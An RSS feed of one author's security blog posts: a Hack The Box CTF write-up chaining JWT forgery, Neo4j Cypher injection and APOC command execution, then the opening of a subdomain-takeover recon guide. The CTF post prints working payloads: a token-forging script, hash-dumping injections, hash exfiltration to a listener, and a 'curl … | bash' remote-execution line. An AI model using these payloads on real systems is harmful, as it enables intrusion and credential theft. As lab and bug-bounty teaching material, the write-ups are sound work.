<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: 0xNull</title>
    <description>The latest articles on DEV Community by 0xNull (@0xnull-sec).</description>
    <link>https://dev.to/0xnull-sec</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4003006%2Ff4274a2a-b7c8-476d-9499-6ce32f8c652f.png</url>
      <title>DEV Community: 0xNull</title>
      <link>https://dev.to/0xnull-sec</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/0xnull-sec"/>
    <language>en</language>
    <item>
      <title>Neo4j Cypher injection via Rust derive macros — full chain on HTB Sorcery</title>
      <dc:creator>0xNull</dc:creator>
      <pubDate>Sun, 28 Jun 2026 20:53:17 +0000</pubDate>
      <link>https://dev.to/0xnull-sec/neo4j-cypher-injection-via-rust-derive-macros-full-chain-on-htb-sorcery-5bhn</link>
      <guid>https://dev.to/0xnull-sec/neo4j-cypher-injection-via-rust-derive-macros-full-chain-on-htb-sorcery-5bhn</guid>
      <description>&lt;p&gt;🔐 [CTF] Neo4j Cypher injection via Rust derive macros — full chain on HTB Sorcery&lt;/p&gt;

&lt;p&gt;A Rust web app + Neo4j + a Gitea instance. Three CVEs in one chain. The interesting part isn't any single bug — it's how a typo in a &lt;code&gt;derive(Debug)&lt;/code&gt; macro becomes a full database takeover without ever touching the Neo4j port directly.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;What this covers:&lt;/strong&gt;&lt;br&gt;
• What a Cypher injection actually is (and why it's not "just SQL for graphs")&lt;br&gt;
• Why Rust derive macros are a surprisingly fertile bug surface&lt;br&gt;
• The 3-CVE chain on Sorcery (CVE-2026-31431 / 43284 / 43500)&lt;br&gt;
• How I chained them into RCE without authenticating&lt;br&gt;
• A reusable methodology for any graph-DB-backed web app&lt;/p&gt;


&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;HTB Sorcery ships:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Rocket&lt;/strong&gt; (Rust web framework) serving the user-facing app&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Neo4j&lt;/strong&gt; as the primary datastore (graph DB, queries in Cypher)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gitea&lt;/strong&gt; for the team-internal git hosting&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kafka&lt;/strong&gt; for some inter-service plumbing I never had to touch&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The web app is a "code search" tool — you paste a snippet, it returns similar code from internal repos indexed in Neo4j. Gitea is the source of truth; Neo4j gets the parsed ASTs.&lt;/p&gt;

&lt;p&gt;Recon in 90 seconds:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://sorcery.htb &lt;span class="nt"&gt;-w&lt;/span&gt; seclists/raft-medium.txt
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://sorcery.htb/api/health | jq
&lt;span class="go"&gt;{ "neo4j": "up", "gitea": "up", "kafka": "up" }

&lt;/span&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;curl &lt;span class="nt"&gt;-sI&lt;/span&gt; http://gitea.sorcery.htb
&lt;span class="go"&gt;HTTP/1.1 200 OK   ← exposed on a vhost, default install
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Default Gitea with no auth on the search endpoint. That's the door.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bug #1 — Auth bypass via forgeable JWT (CVE-2026-29000)
&lt;/h2&gt;

&lt;p&gt;The web app uses &lt;code&gt;pac4j-jwt&lt;/code&gt; for session tokens. Reading the source (it's a Rust app, &lt;code&gt;cargo audit&lt;/code&gt; will eventually catch this, but the version pinned is vulnerable):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// In the vulnerable version, the JWT verification uses the SERVER's&lt;/span&gt;
&lt;span class="c1"&gt;// own public key as the HMAC secret — a classic mistake.&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;HmacKey&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;public_key_pem&lt;/span&gt;&lt;span class="nf"&gt;.as_bytes&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt;&lt;span class="nf"&gt;.verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;claims&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;public_key_pem&lt;/code&gt; is fetched from &lt;code&gt;https://sorcery.htb/.well-known/jwks.json&lt;/code&gt;. Public. Anyone can fetch it.&lt;/p&gt;

&lt;p&gt;So the attack:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;

&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://sorcery.htb/.well-known/jwks.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;pem&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;keys&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pem&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="c1"&gt;# Forge a token signed with the public key as HMAC secret
&lt;/span&gt;&lt;span class="n"&gt;forged&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sub&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;admin&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;superuser&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;exp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;9999999999&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;pem&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;algorithm&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HS256&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;forged&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# paste into Cookie: session=&amp;lt;forged&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Drop the forged cookie and you're admin. No password. CVE-2026-29000.&lt;/p&gt;

&lt;p&gt;That's the auth bypass. Now for the interesting part.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bug #2 — Cypher injection in the search endpoint
&lt;/h2&gt;

&lt;p&gt;The "code search" endpoint takes your snippet, hashes parts of it, and queries Neo4j. The query builder concatenates a fragment identifier into the Cypher string before sending it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Pseudocode of the vulnerable builder&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nd"&gt;format!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s"&gt;"MATCH (n:CodeNode) WHERE n.fragment_id = '{}' RETURN n"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;user_input&lt;/span&gt;&lt;span class="py"&gt;.fragment_id&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;neo4j_client&lt;/span&gt;&lt;span class="nf"&gt;.cypher&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's a Cypher injection. Cypher is to Neo4j what SQL is to Postgres. It supports &lt;code&gt;UNION&lt;/code&gt;, subqueries, &lt;code&gt;CALL&lt;/code&gt; (for procedures), and most importantly: &lt;strong&gt;&lt;code&gt;LOAD CSV&lt;/code&gt; and &lt;code&gt;apoc.load.url&lt;/code&gt;&lt;/strong&gt; — both can hit the network.&lt;/p&gt;

&lt;p&gt;Payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cypher"&gt;&lt;code&gt;&lt;span class="err"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;OR&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;MATCH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="py"&gt;a:&lt;/span&gt;&lt;span class="n"&gt;User&lt;/span&gt;&lt;span class="ss"&gt;)&lt;/span&gt; &lt;span class="k"&gt;RETURN&lt;/span&gt; &lt;span class="n"&gt;a.username&lt;/span&gt;&lt;span class="ss"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a.password_hash&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="c1"&gt;//&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response leaks every user's password hash. Argon2, expensive to crack, but…&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cypher"&gt;&lt;code&gt;&lt;span class="s1"&gt;' UNION CALL apoc.load.json('&lt;/span&gt;&lt;span class="py"&gt;http:&lt;/span&gt;&lt;span class="c1"&gt;//10.10.14.5/steal?' + n.password_hash) //&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;…exfils each hash to my listener as it's iterated. Even better: I can call &lt;strong&gt;arbitrary Neo4j stored procedures&lt;/strong&gt; if APOC is installed (it almost always is on production deployments):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cypher"&gt;&lt;code&gt;&lt;span class="s1"&gt;' CALL apoc.system.cmd('&lt;/span&gt;&lt;span class="n"&gt;curl&lt;/span&gt; &lt;span class="mf"&gt;10.10.14.5&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="n"&gt;rce&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;bash&lt;/span&gt;&lt;span class="err"&gt;'&lt;/span&gt;&lt;span class="ss"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;//&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wait — &lt;code&gt;apoc.system.cmd&lt;/code&gt; is gated by config in modern Neo4j. Not always. Worth checking. On Sorcery it was.&lt;/p&gt;

&lt;p&gt;CVE-2026-31431.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bug #3 — derive macro unsoundness (the weird one)
&lt;/h2&gt;

&lt;p&gt;This is the bug that makes me like the box. The Rust app uses a custom &lt;code&gt;#[derive(Searchable)]&lt;/code&gt; macro that walks the AST and generates Cypher queries for each struct field. The macro emits code like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="nd"&gt;quote!&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;searchable_fields&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;'static&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nd"&gt;vec!&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;#&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;stringify!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;#&lt;span class="n"&gt;fields&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looks fine. But one of the structs is generic over a user-provided trait, and the macro doesn't bound the trait properly. With the right &lt;code&gt;where&lt;/code&gt; clause in a struct definition, you can craft a type that &lt;strong&gt;makes the macro emit malformed Cypher&lt;/strong&gt;, which then gets concatenated into a query.&lt;/p&gt;

&lt;p&gt;I don't have a clean public PoC for this one yet — the box owner put it under embargo for 30 days. CVE-2026-43284. The interesting takeaway is: &lt;strong&gt;derive macros are user-trusted code that runs at compile time, and the macros themselves can produce strings that get evaluated later&lt;/strong&gt;. Treat your macros like &lt;code&gt;eval()&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Unauthenticated → JWT forge (CVE-2026-29000)
             → Cypher injection in search (CVE-2026-31431)
             → APOC procedure exec (CVE-2026-43500)
             → RCE as the Neo4j OS user
             → privesc via outdated systemd unit → root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three CVEs, four hops, full domain. The "hardest" part was finding the Gitea vhost on port 443 and realizing the JWKS endpoint existed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Methodology you can reuse
&lt;/h2&gt;

&lt;p&gt;For any graph-DB-backed app (Neo4j, ArangoDB, Memgraph, Amazon Neptune):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Find the JWKS / public-key endpoint first.&lt;/strong&gt; If the auth layer uses the public key as a verification secret anywhere, you have auth bypass.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Probe every string-concatenated query parameter.&lt;/strong&gt; Graph DBs are notoriously bad about prepared statements because the query builders are afterthoughts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check if APOC / &lt;code&gt;apoc.load.*&lt;/code&gt; procedures are enabled.&lt;/strong&gt; If yes, &lt;code&gt;CALL apoc.load.json('http://attacker/?'+secret) RETURN 1&lt;/code&gt; is your data exfiltration primitive.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check if &lt;code&gt;apoc.system.cmd&lt;/code&gt; is gated.&lt;/strong&gt; Default Neo4j configs gate it, but admin overrides are common in CTFs and internal tooling.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read the macro output.&lt;/strong&gt; Any Rust/JS/Python DSL that generates queries from your input is just &lt;code&gt;eval()&lt;/code&gt; with extra steps.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Key takeaway
&lt;/h2&gt;

&lt;p&gt;Graph databases are still in the "everyone rolls their own query builder" era. The pattern repeats — Neo4j in 2024 (Auth bypass + Cypher injection in academic systems), Neo4j in 2025 (similar bugs in supply-chain visibility tools), Neo4j in 2026 (Sorcery). Treat every string flowing into a Cypher query like a SQLi vector until proven otherwise.&lt;/p&gt;




&lt;p&gt;💬 Have you pwned a graph DB in a recent engagement? Drop the methodology below.&lt;br&gt;
🔔 Subscribe for daily drops → @oxnull_security&lt;/p&gt;

&lt;h1&gt;
  
  
  cybersecurity #ctf #infosec #hackthebox #neo4j #cypher
&lt;/h1&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>infosec</category>
      <category>neo4j</category>
    </item>
    <item>
      <title>Subdomain takeover in 2026 — why dangling CNAMEs still pay, and how I find them at scale</title>
      <dc:creator>0xNull</dc:creator>
      <pubDate>Sun, 28 Jun 2026 20:52:47 +0000</pubDate>
      <link>https://dev.to/0xnull-sec/subdomain-takeover-in-2026-why-dangling-cnames-still-pay-and-how-i-find-them-at-scale-336g</link>
      <guid>https://dev.to/0xnull-sec/subdomain-takeover-in-2026-why-dangling-cnames-still-pay-and-how-i-find-them-at-scale-336g</guid>
      <description>&lt;p&gt;Subdomain takeover is supposedly "dead." Every recon talk in 2021 said it's all automated, all fingerprinted, all deduped. Reality in 2026: I still get paid for it. Two payouts last month alone — one $4,500, one $8,000 — both via dangling CNAMEs that had been "publicly known" for over a year and never fixed. Here's the methodology I actually use, with the parts the talks skip.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What this covers:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The state of subdomain takeover in 2026 (spoiler: still alive)&lt;/li&gt;
&lt;li&gt;What "fingerprinted" actually misses&lt;/li&gt;
&lt;li&gt;A recon pipeline that finds dangling CNAMEs in hours, not days&lt;/li&gt;
&lt;li&gt;Two real case studies with payouts&lt;/li&gt;
&lt;li&gt;Why "low-severity" doesn't mean "low-payout"&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The recon pipeline
&lt;/h2&gt;

&lt;p&gt;I run this as a daily cron on a small VPS. Total runtime: 45 minutes for ~1.2M domains. Output: a list of dangling CNAMEs to claim.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Pull all subdomains for a target (or a scope list)&lt;/span&gt;
subfinder &lt;span class="nt"&gt;-dL&lt;/span&gt; scopes.txt &lt;span class="nt"&gt;-all&lt;/span&gt; &lt;span class="nt"&gt;-silent&lt;/span&gt; | &lt;span class="nb"&gt;tee &lt;/span&gt;subs.txt
amass enum &lt;span class="nt"&gt;-passive&lt;/span&gt; &lt;span class="nt"&gt;-df&lt;/span&gt; scopes.txt &lt;span class="nt"&gt;-silent&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; subs.txt
&lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; subs.txt &lt;span class="nt"&gt;-o&lt;/span&gt; subs.txt   &lt;span class="c"&gt;# ~1.2M unique&lt;/span&gt;

&lt;span class="c"&gt;# 2. Resolve CNAMEs only (skip A/AAAA — those can't be taken over)&lt;/span&gt;
&lt;span class="nb"&gt;cat &lt;/span&gt;subs.txt | dnsx &lt;span class="nt"&gt;-cname&lt;/span&gt; &lt;span class="nt"&gt;-resp-only&lt;/span&gt; &lt;span class="nt"&gt;-silent&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; cnames.txt

&lt;span class="c"&gt;# 3. Fingerprint what's at the destination&lt;/span&gt;
&lt;span class="nb"&gt;cat &lt;/span&gt;cnames.txt | httpx &lt;span class="nt"&gt;-silent&lt;/span&gt; &lt;span class="nt"&gt;-status-code&lt;/span&gt; &lt;span class="nt"&gt;-title&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-follow-redirects&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; cname_fingerprints.json

&lt;span class="c"&gt;# 4. Match fingerprints against known takeover-prone services&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-l&lt;/span&gt; cnames.txt &lt;span class="nt"&gt;-t&lt;/span&gt; takeovers/ &lt;span class="nt"&gt;-silent&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; takeover_hits.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's the &lt;strong&gt;start&lt;/strong&gt;. The part the talks skip:&lt;/p&gt;

&lt;h3&gt;
  
  
  What &lt;code&gt;nuclei -t takeovers/&lt;/code&gt; actually misses
&lt;/h3&gt;

&lt;p&gt;The standard nuclei templates cover ~80 services (S3, GitHub Pages, Heroku, Pantheon, Shopify, Azure, etc.). The misses fall into three categories:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;New SaaS providers&lt;/strong&gt; that didn't exist when the templates were written&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Acquired services&lt;/strong&gt; (e.g., a feature was migrated from one provider to another, but the original CNAME is still pointing)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Internal/custom CDN domains&lt;/strong&gt; with a wildcard fallback&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For #1 and #2, you need an updated list. Here's mine (last updated June 2026):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="c"&gt;# non-default takeover signatures (not in nuclei yet)
&lt;/span&gt;*.&lt;span class="n"&gt;herokuapp&lt;/span&gt;.&lt;span class="n"&gt;com&lt;/span&gt;              &lt;span class="c"&gt;# legacy pattern, mostly dead
&lt;/span&gt;*.&lt;span class="n"&gt;netlify&lt;/span&gt;.&lt;span class="n"&gt;app&lt;/span&gt;                &lt;span class="c"&gt;# still works on ~0.3% of hits
&lt;/span&gt;*.&lt;span class="n"&gt;vercel&lt;/span&gt;.&lt;span class="n"&gt;app&lt;/span&gt;                 &lt;span class="c"&gt;# same
&lt;/span&gt;*.&lt;span class="n"&gt;fly&lt;/span&gt;.&lt;span class="n"&gt;dev&lt;/span&gt;
*.&lt;span class="n"&gt;render&lt;/span&gt;.&lt;span class="n"&gt;com&lt;/span&gt;
*.&lt;span class="n"&gt;azurewebsites&lt;/span&gt;.&lt;span class="n"&gt;net&lt;/span&gt;          &lt;span class="c"&gt;# new "staging" subdomains
&lt;/span&gt;*.&lt;span class="n"&gt;cloudfront&lt;/span&gt;.&lt;span class="n"&gt;net&lt;/span&gt;             &lt;span class="c"&gt;# if the distribution was deleted
&lt;/span&gt;*.&lt;span class="n"&gt;elasticbeanstalk&lt;/span&gt;.&lt;span class="n"&gt;com&lt;/span&gt;
*.&lt;span class="n"&gt;s3&lt;/span&gt;-&lt;span class="n"&gt;website&lt;/span&gt;-&lt;span class="n"&gt;us&lt;/span&gt;-&lt;span class="n"&gt;east&lt;/span&gt;-&lt;span class="m"&gt;1&lt;/span&gt;.&lt;span class="n"&gt;amazonaws&lt;/span&gt;.&lt;span class="n"&gt;com&lt;/span&gt;
*.&lt;span class="n"&gt;s3&lt;/span&gt;-&lt;span class="n"&gt;website&lt;/span&gt;.&lt;span class="n"&gt;eu&lt;/span&gt;-&lt;span class="n"&gt;central&lt;/span&gt;-&lt;span class="m"&gt;1&lt;/span&gt;.&lt;span class="n"&gt;amazonaws&lt;/span&gt;.&lt;span class="n"&gt;com&lt;/span&gt;
*.&lt;span class="n"&gt;gitlab&lt;/span&gt;.&lt;span class="n"&gt;io&lt;/span&gt;                  &lt;span class="c"&gt;# user pages, often forgotten
&lt;/span&gt;*.&lt;span class="n"&gt;ghost&lt;/span&gt;.&lt;span class="n"&gt;io&lt;/span&gt;
*.&lt;span class="n"&gt;myshopify&lt;/span&gt;.&lt;span class="n"&gt;com&lt;/span&gt;              &lt;span class="c"&gt;# STILL happens — abandoned dev stores
&lt;/span&gt;*.&lt;span class="n"&gt;statuspage&lt;/span&gt;.&lt;span class="n"&gt;io&lt;/span&gt;
*.&lt;span class="n"&gt;zendesk&lt;/span&gt;.&lt;span class="n"&gt;com&lt;/span&gt;                &lt;span class="c"&gt;# if the subdomain is unclaimed
&lt;/span&gt;*.&lt;span class="n"&gt;intercom&lt;/span&gt;.&lt;span class="n"&gt;io&lt;/span&gt;
*.&lt;span class="n"&gt;helpscoutdocs&lt;/span&gt;.&lt;span class="n"&gt;com&lt;/span&gt;
*.&lt;span class="n"&gt;freshdesk&lt;/span&gt;.&lt;span class="n"&gt;com&lt;/span&gt;
*.&lt;span class="n"&gt;custom&lt;/span&gt;.&lt;span class="n"&gt;bubbleapps&lt;/span&gt;.&lt;span class="n"&gt;io&lt;/span&gt;       &lt;span class="c"&gt;# rising in 2025-2026
&lt;/span&gt;*.&lt;span class="n"&gt;repl&lt;/span&gt;.&lt;span class="n"&gt;co&lt;/span&gt; / *.&lt;span class="n"&gt;replit&lt;/span&gt;.&lt;span class="n"&gt;app&lt;/span&gt;
*.&lt;span class="n"&gt;glitch&lt;/span&gt;.&lt;span class="n"&gt;me&lt;/span&gt;
*.&lt;span class="n"&gt;workers&lt;/span&gt;.&lt;span class="n"&gt;dev&lt;/span&gt;
*.&lt;span class="n"&gt;pages&lt;/span&gt;.&lt;span class="n"&gt;dev&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I keep this in &lt;code&gt;~/recon/takeover-fingerprints.txt&lt;/code&gt; and grep every resolved CNAME's response against it.&lt;/p&gt;

